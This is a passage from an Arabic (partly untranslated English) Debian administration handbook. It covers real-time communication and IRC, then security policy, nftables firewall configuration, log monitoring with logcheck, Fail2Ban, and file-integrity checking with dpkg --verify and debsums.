تواجه بعض تطبيقات RTC مشاكل كبيرة عند إرسال الصوت والفيديو عبر الجدران النارية وشبكات NAT. قد يستقبل المستخدمون اتصالات شبحية (يرن الهاتف ولكنهم لا يسمعون الطرف الآخر) أو قد لا يستطيعون الاتصال إطلاقاً.

لقد طور بروتوكولي ICE وTURN لحل هذه المشاكل. تشغيل مخدم TURN مع عناوين IP عامة في كل موقع واستخدام تطبيقات عملاء تدعم كلاً من ICE وTURN يعطي أفضل تجربة للمستخدم.

إذا كانت المراسلة الفورية هي الهدف الوحيد من البرنامج العميل، فلا حاجة لدعم ICE أو TURN.

يدير مطورو دبيان خدمة SIP مجتمعية على الرابط rtc.debian.org. يتابع المجتمع صيانة ويكي فيه وثائق عن إعداد مجموعة من تطبيقات العملاء المتوفرة في دبيان. مقالات الويكي ولقطات الشاشات مفيدة لكل من يريد إعداد خدمة مشابهة على نطاقه الخاص.

→ https://wiki.debian.org/UnifiedCommunications/DebianDevelopers/UserGuide

بدائل Internet Relay Chat

يمكن استخدام IRC بالإضافة إلى SIP وXMPP. يركز هذا النظام على مفهوم القنوات أكثر من النظم الأخرى. يبدأ اسم القناة بعلامة المربع #. تختص كل قناة عادة بموضوع محدد ويستطيع عدد غير محدد من الناس الانضمام للقناة للنقاش (لكن يستطيع المستخدمون إجراء محادثات واحد-مع-واحد خاصة إذا دعت الحاجة). بروتوكول IRC أقدم، ولا يسمح بتشفير الرسائل بين الأطراف؛ لكن لا يزال هناك مجال لتشفير المحادثات بين المستخدمين والمخدم من خلال استخدام بروتوكول IRC عبر نفق SSL.

عملاء IRC أكثر تعقيداً قليلاً، وهي توفر عادة مزايا كثيرة لكنها قليلة الاستخدام في بيئات الشركات. مثلاً، ”مسؤولو القناة – channel operators“ هم مستخدمون يمتازون بصلاحية طرد المستخدمين الآخرين من القناة، أو حظرهم نهائياً أيضاً، إذا سببوا فوضى في النقاش.

Since the IRC protocol is very old, many clients are available to cater for many user groups; examples include XChat, and Smuxi (graphical clients based on GTK+), Irssi (text mode), Circe (integrated to Emacs), and so on.

فصل 14. الأمن

تختلف درجة أهمية النظام المعلوماتي حسب البيئة. في بعض الحالات، يكون النظام حيوياً لاستمرارية الشركة. ويجب حمايته إذن من مختلف المخاطر. تدعى عملية تقييم هذه المخاطر، وتعريف وتطبيق أساليب الحماية منها ”بالعملية الأمنية“.

14.1. تحديد سياسة أمنية

تحذير مدى هذه الفصل

الأمن موضوع حساس جداً ومجاله واسع، لذلك نحن لا نستطيع أن ندعي أننا سنشرحه بشكل شامل في صفحات فصل واحد. سوف نوضح بعض النقاط المهمة فقط ونشرح بعض الأدوات والطرق التي يمكن أن تفيد في مجال الأمن. لمزيد من التعمق، هناك مراجع كثيرة، وكتب كاملة متخصصة في هذا الموضوع. سيكون كتاب Linux Server Security للمؤلف Michael D. Bauer (منشورات O'Reilly) نقطة انطلاق ممتازة.

تغطي كلمة ”الأمن“ نفسها مجالاً واسعاً من المفاهيم، والأدوات والإجراءات، والتي لا يمكن تطبيق أي واحدة منها في جميع الحالات. تتطلب عملية اختيار واحدة منها فكرة دقيقة عن الأهداف المرجوة من حماية النظام. تبدأ عملية تأمين النظام بإجابة بعض الأسئلة. أما الاستعجال في تطبيق مجموعة عشوائية من الأدوات قد يؤدي إلى خطر التركيز على الناحية الأمنية غير المناسبة.

إذن أول الأشياء التي يجب تحديدها هو الهدف. من الأساليب الجيدة التي تساعد على تحديد هذا الهدف أسلوب يبدأ بطرح الأسئلة التالية:

ما الذي نحاول حمايته؟ تختلف السياسة الأمنية إذا كنا نريد حماية الحاسوب أو حماية البيانات. وإذا كنا نريد حماية البيانات، علينا أن نعرف أي بيانات هي المطلوب حمايتها.

ما الذي نريد أم نحتمي منه؟ هل هو تسريب البيانات السريّة؟ أم خسارة البيانات نتيجة الحوادث؟ أم خسارة أرباح نتيجة انقطاع الخدمة؟

وأيضاً، مَن الذي نحاول أن نحتمي منه؟ تختلف الإجراءات الأمنية كثيراً ما بين الحماية من خطأ فني بسيط يرتكبه أحد مستخدمي النظام المنتظمين وبين الحماية من مجموعة مهاجمين لهم أهداف محددة.

يستخدم المصطلح ”خطر risk“ عادة للإشارة إلى جميع هذه العوامل الثلاثة معاً: ما الذي نحميه، ما الذي يجب أن نمنع حدوثه، ومن الذي يحاول أن يجعل ذلك يحدث. يجب إجابة هذه الأسئلة للوصول إلى نموذج الخطر (risk model). واعتماداً على نموذج الخطر هذا، يمكن بناء سياسة أمنية، ويمكن تطبيق هذه السياسة بتدابير صارمة.

ملاحظة التساؤل الدائم

يحاول Bruce Schneier، وهو خبير عالمي في القضايا الأمنية (ليس أمن الحواسيب فقط)، مواجهة إحدى أهم الخرافات الأمنية برفع شعار: ”الحماية هي عملية، وليست منتج“. تتغير الممتلكات التي ترام حمايتها مع الزمن، كما تتغير التهديدات والوسائل المتاحة للمهاجمين المحتملين. حتى لو كان تصميم وتطبيق السياسة الأمنية مثالياً في البداية، يجب ألا يرتاح المرء لهذا الإنجاز. عناصر الخطر في تطور، ويجب أن تتطور الاستجابة لهذه المخاطر بما هو مناسب.

يجدر أيضاً أخذ القيود الإضافية بعين الاعتبار، إذ أنها تحدُّ مجال السياسات المتاحة. كم ننوي أن نبذل في سبيل حماية النظام؟ هذا السؤال يؤثر بشكل كبير على السياسة المتبعة. غالباً ما تُعرف إجابة هذا السؤال من النواحي المالية فقط، لكن هناك عناصر أخرى يجب أخذها بعين الاعتبار أيضاً، مثل درجة الإزعاج التي سوف تُفرَض على مستخدمي النظام أو مدى تراجع مستوى الأداء.

بعد نمذجة الخطر، يمكن البدء بالتفكير بتصميم سياسة أمنية فعلية.

ملاحظة السياسات المتطرفة

هناك حالات يكون فيها اختيار الإجراءات اللازمة لتأمين النظام بالغ البساطة.

مثلاً، إذا كان النظام المطلوب حمايته عبارة عن حاسب مستعمل (second-hand)، الغرض الوحيد منه جمع بعض الأرقام في نهاية اليوم، إن اتخاذ القرار بعدم إجراء أي شيء خاص لحمايته سيكون منطقياً جداً. القيمة الفعلية للنظام منخفضة. قيمة البيانات صفرية لأننا لا نخزنها على الحاسوب. إن أي مهاجم يخترق هذا ”النظام“ سيحصل فقط على آلة حاسبة ثقيلة الوزن. كلفة حماية نظام كهذا أكبر من كلفة تعرضه للاختراق على الأغلب.

على نقيض هذه الحالة، قد نرغب بحماية خصوصية بيانات سرية بأسلوب شامل تماماً، يفوق جميع الاعتبارات الأخرى. في هذه الحالة، الاستجابة المناسبة ستكون التدمير التام لهذه البيانات (حذف الملفات بشكل تام، وتحطيم القرص الصلب إلى أجزاء صغيرة، ثم إذابة هذه القطع في الحمض، وهكذا). إذا كان هناك متطلب إضافي يقول أن البيانات يجب أن تحفظ للاستخدام مستقبلاً (لكن لا يشترط أن تكون متاحة فورياً)، وإذا لم تكن الكلفة أيضاً ذات اعتبار، فيمكن حماية هذه البيانات بتخزينها على صفائح من خليطة بلاتين-إيريديوم وحفظها في ملاجئ حصينة ضد القنابل تحت جبال عدة حول العالم، وكلها (طبعاً) مخابئ سرية تحميها جيوش مدججة…

Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.

في معظم الحالات، يمكن تقسيم النظام المعلوماتي إلى مجموعات فرعية مستقلة ومتماسكة. لكل نظام فرعي متطلباته وقيوده الخاصة، وبالتالي يجب تقييم المخاطر وتصميم سياسة أمنية لكل واحد منها بشكل منفصل. هناك مبدأ جيد لحفظه في ذاكرتك، هو أن حماية خندق قصير وحصين أسهل من حماية جبهة طويلة ملتفة. يجب تصميم بنية الشبكة وفق هذا المبدأ: يجب تركيز الخدمات الحساسة على عدد قليل من الأجهزة، ويجب أن يكون الوصول لهذه الأجهزة عبر أقل عدد ممكن من نقاط المرور؛ فحماية نقاط المرور هذه ستكون أسهل من حماية جميع الأجهزة الحساسة من الهجمات التي ترد من جميع أنحاء العالم الخارجي. تظهر هنا فائدة فلترة الشبكات (عبر الجدران النارية وغيرها). يمكن تطبيق هذه الفلترة باستخدام معدات خاصة، لكن لعل الحل الأبسط والأكثر مرونة استخدام جدار ناري برمجي مثل الجدار المدمج في النواة لينكس.

14.2. الجدار الناري أو ترشيح الرزم

أساسيات الجدار الناري

الجدار الناري هو نوع من المعدات يتألف من عتاد خاص و (أو) برمجيات تنظم رزم الشبكة الواردة أو الصادرة (الداخلة إلى الشبكة المحلية أو الخارجة منها) ولا تسمح إلا بمرور الرزم التي تطابق شروطاً معينة محددة مسبقاً.

الجدار الناري هو بوابة ترشيح شبكية وهو فعال فقط مع الرزم التي تضطر للمرور عبره. بالتالي، لا يمكن أن يفيد الجدار الناري إلا إذا كان المرور عبره هو الطريق الوحيد المتاح أمام هذه الرزم.

حالة خاصة الجدار الناري المحلي

يمكن أن ينحصر مدى الجدار الناري بجهاز واحد بعينه (بدلاً من حماية شبكة كاملة)، وفي تلك الحالة يتمثل دوره بترشيح أو تقييد الوصول إلى بعض الخدمات، أو ربما منع الاتصالات الصادرة الناتجة عن برمجيات خبيثة التي قد يُثبِّتها المستخدم –بدراية او عن غير قصد–.

The Linux kernel embeds the netfilter firewall, which can be controlled from user space with the iptables, ip6tables, arptables and ebtables commands.

However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Debian Buster uses the nftables framework by default.

To enable a default firewall in Debian execute:

# apt install -y nftables Reading package lists... Done ... # systemctl enable nftables.service Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. nftables Behavior

As the kernel is processing a network packet it pauses and allows us to inspect the packet and decide what to do with that package. For example, we might want to drop or discard certain incoming packages, modify other packages in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems.

A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.

CULTURE The OSI model

The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.

This model was defined in the standard ISO/EIC 7498. The following seven layers are described:

Physical: transmission and reception of raw bit streams over a physical medium

Data Link: reliable transmission of data frames between two nodes connected by a physical layer

Network: structuring and managing a multi-node network, including addressing, routing and traffic control

Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing

Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes

Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption

Application: High-level APIs, including resource sharing, remote file access.

More information can be found on Wikipedia:

→ https://en.wikipedia.org/wiki/Osi_model

The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified.

There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack, they are registered into the Netfilter hooks, ie. these chains see packets flowing through the TCP/IP stack. On the other hand, and a regular chain is not attached to any hook, so they do not see any traffic, but it may be used as a jump target for better organization.

Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain.

أساسيات ICMP

بروتوكول ICMP‏ (Internet Control Message Protocol) هو البروتوكول المستخدم لإرسال معلومات مكمّلة عن الاتصالات. يسمح هذه البروتوكول بفحص اتصال الشبكة بالأمر ping (الذي يرسل رزمة ICMP هي echo request، التي يفترض أن يرد عليها المستقبل برسالة ICMP هي echo reply). يشير هذا البروتوكول إلى رفض الجدار الناري لرزمة ما، أو يشير لطفحان في buffer الاستقبال، أو يقترح مساراً أفضل للرزم التالية في الاتصال، وهكذا. يُعرّف هذا البروتوكول في عدة وثائق RFC؛ لكن سرعان ما أُكمِلَت ووسِّعَت الوثيقتين الأوليتين RFC777 و RFC792.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

تذكر أن buffer الاستقبال هو منطقة صغيرة من الذاكرة تُخزِّن البيانات عند وصولها من الشبكة وأثناء معالجة النواة للبيانات. إذا امتلأت المنطقة، لا يمكن استقبال بيانات جديدة، ويشير ICMP للمشكلة، بحيث يخفف المرسل من معدل الإرسال (الذي يجب أن يتوازن نظرياً بعد بعض الوقت).

لاحظ أنه بالرغم من إمكانية تشغيل شبكات IPv4 دون ICMP، إلا أن ICMP6 ضروري حتماً لشبكات IPv6، لأنه يجمع وظائف عديدة كانت، في زمن IPv4، متفرقة بين ICMPv4، وIGMP‏ (Internet Group Membership Protocol) و ARP‏ (Address Resolution Protocol). يُعرَّف ICMPv6 في RFC4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Moving from iptables to nftables

The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rulesets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:

# iptables-save > iptables-ruleset.txt # iptables-restore-translate -f iptables-ruleset.txt # Translated by iptables-restore-translate v1.8.2 on Thu Jul 18 10:39:33 2019 add table ip filter add chain ip filter INPUT { type filter hook input priority 0; policy accept; } add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; } add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; } add chain ip filter DOCKER add chain ip filter DOCKER-ISOLATION-STAGE-1 add chain ip filter DOCKER-ISOLATION-STAGE-2 add chain ip filter DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1 add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept add rule ip filter FORWARD oifname "docker0" counter jump DOCKER add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2 add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return add rule ip filter DOCKER-USER counter return add table ip nat add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; } add chain ip nat INPUT { type nat hook input priority 100; policy accept; } add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; } add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; } add chain ip nat DOCKER add rule ip nat PREROUTING fib daddr type local counter jump DOCKER add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER add rule ip nat DOCKER iifname "docker0" counter return # Completed on Thu Jul 18 10:39:33 2019 # iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft # nft -f ruleset.nft # nft list ruleset table ip filter { chain INPUT { type filter hook input priority 0; policy accept; } chain FORWARD { type filter hook forward priority 0; policy drop; counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state related,established counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept } chain OUTPUT { type filter hook output priority 0; policy accept; } chain DOCKER { } chain DOCKER-ISOLATION-STAGE-1 { iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return } chain DOCKER-ISOLATION-STAGE-2 { oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return } chain DOCKER-USER { counter packets 0 bytes 0 return } } table ip nat { chain PREROUTING { type nat hook prerouting priority -100; policy accept; fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain INPUT { type nat hook input priority 100; policy accept; } chain POSTROUTING { type nat hook postrouting priority 100; policy accept; oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade } chain OUTPUT { type nat hook output priority -100; policy accept; ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain DOCKER { iifname "docker0" counter packets 0 bytes 0 return } } table ip mangle { chain PREROUTING { type filter hook prerouting priority -150; policy accept; } chain INPUT { type filter hook input priority -150; policy accept; } chain FORWARD { type filter hook forward priority -150; policy accept; } chain OUTPUT { type route hook output priority -150; policy accept; } chain POSTROUTING { type filter hook postrouting priority -150; policy accept; } }

The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.

14.2.3. Syntax of nft

The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6.

To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement.

insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root.

nft allows many more operations, refer to its manual page nft(8) for more information.

14.2.4. تثبيت القواعد عند كل إقلاع

To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables.service as root. You can stop the firewall executing nft flush ruleset as root.

In other cases, the recommended way is to register the configuration script in up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw.

مثال 14.1. ملف interfaces يستدعي سكربت إعداد الجدار الناري

auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw

هذا يفترض طبعاً أنك تستخدم ifupdown لضبط الواجهات الشبكية. أما إذا كنت تستخدم أداة أخرى (مثل NetworkManager أو systemd-networkd)، فعليك مراجعة وثائقها الخاصة لمعرفة طريقة تنفيذ السكربتات بعد إقلاع الواجهة الشبكية.

14.3. الإشراف: المنع، والاكتشاف، والردع

المراقبة هي جزء متمم لأي سياسة أمنية وذلك لعدة أسباب. منها، أن هدف الحماية لا ينحصر عادة في ضمان سرية البيانات فقط، بل يتعداه إلى ضمان توافر الخدمات. لا بد إذن من التحقق أن كل شيء يعمل كما هو متوقع. واكتشاف أي سلوك شاذ أو تغيّر في جودة الخدمة (أو الخدمات) المقدمة في الوقت المناسب. قد تساعد عملية المراقبة على اكتشاف محاولات التطفل وتفعيل ردود سريعة قبل أن تسبب عواقب جسيمة. يراجع هذا القسم بعض الأدوات المستخدمة لمراقبة عدة نواحي في نظام دبيان. بالتالي، فهو يكمل قسم 12.4, “المراقبة”.

14.3.1. مراقبة السجلات باستخدام logcheck

يراقب البرنامج logcheck ملفات السجلات في كل ساعة افتراضياً حيث يرسل رسائل السجل غير الطبيعية إلى مدير النظام عبر البريد الإلكتروني لمتابعة تحليلها.

تُخزَّن لائحة الملفات التي يراقبها في /etc/logcheck/logcheck.logfiles؛ القيم الافتراضية جيدة إذا لم يكن الملف /etc/rsyslog.conf أعيد بناؤه بالكامل.

يمكن أن يعمل logcheck في وضع واحد من ثلاثة أوضاع تختلف بمستوى تفصيلها: paranoid (مُرتاب) و server (مُخدِّم) و workstation (محطة عمل). الوضع الأول مفصل جداً، ويجب عدم استخدامه على الأرجح إلا على مخدمات خاصة مثل الجدران النارية. الوضع الثاني (والافتراضي) هو الوضع المفضل لمعظم المخدمات. أما الوضع الأخير فهو مصمم لمحطات العمل، وهو أكثر إيجازاً (يحجب رسائل أكثر).

في جميع الحالات الثلاث. يجب تخصيص logcheck على الأغلب لاستبعاد بعض الرسائل الإضافية (اعتماداً على الخدمات المثبتة)، إلا إذا كان مدير النظام يريد فعلاً تلقي دفعات ساعية من رسائل بريدية طويلة وغير مهمة. بما أن آلية اختيار الرسائل معقدة نوعاً ما، يجب قراءة الملف /usr/share/doc/logcheck-database/README.logcheck-database.gz ودماغك نشط حتى تفهمها بشكل أفضل.

يمكن تقسيم القواعد المطبّقة إلى عدة أنواع:

القواعد التي تصنف الرسالة على أنها محاولة اختراق (مخزنة في ملف ضمن المجلد /etc/logcheck/cracking.d/)؛

القواعد التي تلغي التصنيف السابق (/etc/logcheck/cracking.ignore.d/)؛

القواعد التي تصنف الرسالة على أنها تحذير أمني (/etc/logcheck/violations.d/)؛

القواعد التي تلغي التصنيف السابق (/etc/logcheck/violations.ignore.d/)؛

وأخيراً، القواعد التي على بقية الرسائل (التي تعتبر كأحداث نظام system events).

تحذير تجاهل رسالة

لا يمكن تجاهل أي رسالة تصنف على أنها محاولة اختراق أو تحذير أمني (نتيجة اتباع قاعدة مخزنة في الملف /etc/logcheck/violations.d/myfile ) إلا بقاعدة في الملف /etc/logcheck/violations.ignore.d/myfile أو الملف /etc/logcheck/violations.ignore.d/myfile-extension.

كما تُرسَل أحداث النظام دائماً إلا في حال وجود قاعدة في أحد المجلدات /etc/logcheck/ignore.d.{paranoid,server,workstation}/ تُبيّن وجوب تجاهل هذا الحدث. طبعاً، لا تؤخذ بعين الاعتبار إلا المجلدات التي توافق مستوى التفصيل لوضع العمل المحدد والمستويات الأعلى منه.

14.3.2. مراقبة النشاطات

14.3.2.1. في الزمن الحقيقي

top هي أداة تفاعلية تعرض قائمة بالعمليات النشطة حالياً. يعتمد الترتيب الافتراضي على نسبة استخدام المعالج ويمكن الوصول لهذا الترتيب بالمفتاح P. من الخيارات الأخرى المتاحة للترتيب الترتيب حسب كمية الذاكرة المحجوزة (المفتاح M)، أو حسب الزمن الكلي للمعالج (المفتاح T) أو حسب مُعرّف العملية (المفتاح N). يسمح المفتاح k بقتل عملية عبر إدخال رقم تعريفها. ويسمح المفتاح r بإعادة تهذيب العملية، أي تغيير أولويتها.

When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.

top أداة مرنة جداً وتفصل صفحة دليلها طريقة تخصيص أسلوب عرضها للمعلومات وتكييفها مع احتياجاتك وعاداتك.

الأداة الرسومية gnome-system-monitor تشبه top وتوفر المزايا نفسها تقريباً.

14.3.2.2. من الماضي

حمل المعالج ونشاط الشبكة والمساحة التخزينية الحرة هي معلومات متغيرة باستمرار يفيد تتبع تاريخ تطورها غالباً في التعرف على طريقة استثمار الحاسوب بدقة.

هناك أدوات عديدة مخصصة لهذه المهمة. معظمها قادر على جلب البيانات عبر SNMP‏ (Simple Network Management Protocol) وذلك لمركزة هذه المعلومات. من المكاسب المضافة هي أن هذا يسمح بجلب البيانات من العناصر الشبكية التي قد لا تكون بالضرورة حواسيباً عامة الأغراض، مثل موجهات الشبكة المتخصصة أو التحويلات.

This book deals with Munin in some detail (see قسم 12.4.1, “إعداد Munin”) as part of فصل 12: “الإدارة المتقدمة”. Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite.

بدائل mrtg

mrtg (في الحزمة ذات الاسم نفسه) هي أداة أقدم. ورغم بعض نقاط الضعف، إلا أنها تستطيع جمع البيانات التأريخية وعرضها كمخططات. كما تتضمّن عدداً من السكربتات المخصصة لجمع أكثر البيانات التي تُراقب عادة مثل حمل المعالج، ونشاط الشبكة، وعدد مرات الدخول إلى صفحة وب، وغيرها.

تحوي الحزمتين mrtg-contrib و mrtgutils أمثلة عن سكربتات يمكن استخدامها مباشرة.

14.3.3. Avoiding Intrusion

Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log in to an unauthorised software system by performing multiple login attempts in a short period of time.

The best way to stop a brute-force atack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address.

Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attemps to a log file. It can be found in the package fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban:

fail2ban.conf. Global configuration (such as logging).

filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.

action.d/*.conf. Actions defining the commands for banning and unbanning of IP addresses.

jail.conf. It is where jails, the combinations of filters and actions, are defined.

Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works...

[...] [DEFAULT] [...] bantime = 10m [...] maxretry = 5 [...] [sshd] port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s

Fail2Ban will check for failed login attepts for sshd using Python regular expressions defined in /etc/fail2ban/filters.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths_common.conf. If Fail2Ban detects five failed login attempts in a row, it will ban the IP address where those attempts originated.

Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.

A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.

14.3.4. اكتشاف التغيُّرات

Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).

14.3.4.1. فحص سلامة الحزم باستخدام dpkg --verify

التعمق أكثر الحماية من التغيرات المنبعية

dpkg --verify is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see قسم 6.6, “التحقق من سلامة الحزم”), and taking care to only install packages from a certified origin.

dpkg --verify (أو dpkg -V) هي أداة مهمة لأنها تسمح بمعرفة أي الملفات المثبتة قد عدلت (نتيجة هجوم) مثلاً، لكن لا تكن واثقاً من هذا تماماً. تعتمد هذه الأداة في عملها على checksums مخزنة في قاعدة بيانات dpkg التي تُخزَّن على القرص الصلب (يمكنك العثور عليها في /var/lib/dpkg/info/package.md5sums)؛ والمهاجم الخبير سوف يحدث هذه الملفات بحيث يسجل فيها قيم checksum الجديدة للملفات المخربة.

أساسيات بصمات الملفات

للتذكرة: البصمة هي قيمة، رقميّة غالباً (رغم أنها تكتب بالتدوين الست عشري)، تحوي شكلاً من التوقيع الرقمي لمحتويات الملف. يُحسَب هذا التوقيع بخوارزمية (من الأمثلة المشهورة MD5 أو SHA1) تضمن أن أي تغيير (تقريباً) على محتويات الملف، مهما كان صغيراً، سيؤدي لتغير البصمة؛ يعرف هذا ”بأثر التَّيْهور avalanche effect“. يسمح هذا باستخدام بصمة رقمية بسيطة للتحقق من عدم تغيّر محتويات الملف. هذه الخوارزميات غير عكوسة؛ أي أن معرفة البصمة، في معظم هذه الخوارزميات، لا تسمح بالعثور على المحتويات الموافقة لها. يبدو أن التطورات الأخيرة في الرياضيات قد أضعفت منعة هذه المبادئ، لكن لم تصل لمرحلة التشكيك في استخدامها حتى الآن، لأنه يبدو أن إنشاء محتويات مختلفة تعطي البصمة نفسها لا يزال صعباً جداً.

عند استدعاء dpkg -V سيتحقق من كافة الحزم المثبتة وسيطبع سطراً يقابل كل ملف يفشل اختبار سلامته. صيغة الخرج هي صيغة خرج rpm -V نفسها حيث يمثل كل محرف اختباراً على بيانات فوقية محددة. لسوء الحظ، لا يخزن dpkg البيانات الفوقية اللازمة لمعظم الاختبارات ولذلك يطبع علامات استفهام مكانها. حالياً اختبار التحقق من checksum هو الوحيد الذي يمكن أن يطبع "5" عند المحرف الثالث (إذا فشل الاختبار).

# dpkg -V ؟؟5؟؟؟؟؟؟ /lib/systemd/system/ssh.service ؟؟5؟؟؟؟؟؟ c /etc/libvirt/qemu/networks/default.xml ؟؟5؟؟؟؟؟؟ c /etc/lvm/lvm.conf ؟؟5؟؟؟؟؟؟ c /etc/salt/roster

في العينة أعلاه، يبين dpkg حدوث تغيير على ملف تابع لخدمة SSH حيث عدل عليه مدير النظام بدلاً من استخدام ملف /etc/systemd/system/ssh.service صحيح يلغي تأثيره (والذي كان سيُخزَّن في /etc وهذا ما يفترض أن يكون لأي تغيير على الإعدادات). كما يذكر أيضاً عدة ملفات إعداد (يميزها المحرف "c" في الحقل الثاني) التي عُدِّلت بشكل نظامي.

14.3.4.2. فحص الحزم: debsums وحدودها

الأمر debsums هو سالف dpkg -V وقد أصبح مهجوراً تقريباً. يعاني debsums من قيود dpkg نفسها. لكن ولحسن الحظ، يمكن تفادي بعض القيود فيه (بينما لا يمكن تفاديها في dpkg).

بما أن البيانات على القرص الصلب غير موثوقة، يقدم debsums خيار فحص الملفات المُثبّتة اعتماداً على ملفات .deb بدلاً من الاعتماد على قاعدة بيانات dpkg. يمكننا الاعتماد على تنزيلات APT المصدقة لتنزيل ملفات .deb موثوقة لكل الحزم المثبتة على النظام. قد تكون هذه العملية بطيئة ومملة، لذلك يجب عدم اتخاذها كتقنية وقائية تستخدم على نحو منتظم.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all

